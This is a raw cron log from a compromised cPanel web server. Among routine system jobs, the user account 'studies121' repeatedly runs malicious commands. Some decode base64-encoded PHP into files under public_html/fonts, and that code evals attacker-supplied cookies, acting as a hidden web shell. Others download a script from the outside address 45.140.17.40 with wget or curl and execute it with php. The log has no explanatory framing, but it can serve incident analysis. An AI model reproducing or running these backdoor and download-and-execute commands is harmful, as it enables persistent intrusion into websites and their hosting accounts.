Sep 12 20:49:01 ip-184-168-122-23 CROND[23376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:50:01 ip-184-168-122-23 CROND[23482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:50:01 ip-184-168-122-23 CROND[23483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:50:01 ip-184-168-122-23 CROND[23487]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:51:01 ip-184-168-122-23 CROND[23583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:51:01 ip-184-168-122-23 CROND[23585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:51:01 ip-184-168-122-23 CROND[23587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:51:01 ip-184-168-122-23 CROND[23586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:52:01 ip-184-168-122-23 CROND[23687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:52:01 ip-184-168-122-23 CROND[23689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:52:01 ip-184-168-122-23 CROND[23691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:52:01 ip-184-168-122-23 CROND[23690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:52:01 ip-184-168-122-23 CROND[23692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:53:01 ip-184-168-122-23 CROND[23784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:53:01 ip-184-168-122-23 CROND[23787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:53:01 ip-184-168-122-23 CROND[23788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:53:01 ip-184-168-122-23 CROND[23786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:54:01 ip-184-168-122-23 CROND[23961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:54:01 ip-184-168-122-23 CROND[23962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:54:01 ip-184-168-122-23 CROND[23964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:54:01 ip-184-168-122-23 CROND[23966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:54:01 ip-184-168-122-23 CROND[23968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:55:01 ip-184-168-122-23 CROND[24060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:55:01 ip-184-168-122-23 CROND[24062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:55:01 ip-184-168-122-23 CROND[24063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:55:01 ip-184-168-122-23 CROND[24065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:55:01 ip-184-168-122-23 CROND[24066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:55:01 ip-184-168-122-23 CROND[24067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:56:01 ip-184-168-122-23 CROND[24156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:56:01 ip-184-168-122-23 CROND[24158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:56:01 ip-184-168-122-23 CROND[24160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:56:01 ip-184-168-122-23 CROND[24159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:56:01 ip-184-168-122-23 CROND[24162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:57:02 ip-184-168-122-23 CROND[24258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:57:02 ip-184-168-122-23 CROND[24257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:57:02 ip-184-168-122-23 CROND[24256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:57:02 ip-184-168-122-23 CROND[24259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:58:01 ip-184-168-122-23 CROND[24363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:58:01 ip-184-168-122-23 CROND[24364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:58:01 ip-184-168-122-23 CROND[24367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:58:01 ip-184-168-122-23 CROND[24368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:58:01 ip-184-168-122-23 CROND[24369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:59:01 ip-184-168-122-23 CROND[24464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:59:01 ip-184-168-122-23 CROND[24465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:59:01 ip-184-168-122-23 CROND[24467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:59:01 ip-184-168-122-23 CROND[24466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:00:01 ip-184-168-122-23 CROND[24633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:00:01 ip-184-168-122-23 CROND[24635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:00:01 ip-184-168-122-23 CROND[24637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:00:01 ip-184-168-122-23 CROND[24639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:00:01 ip-184-168-122-23 CROND[24643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:00:01 ip-184-168-122-23 CROND[24644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:00:01 ip-184-168-122-23 CROND[24641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:00:01 ip-184-168-122-23 CROND[24642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:01:01 ip-184-168-122-23 CROND[24753]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 21:01:01 ip-184-168-122-23 CROND[24752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:01:01 ip-184-168-122-23 CROND[24757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:01:01 ip-184-168-122-23 CROND[24758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
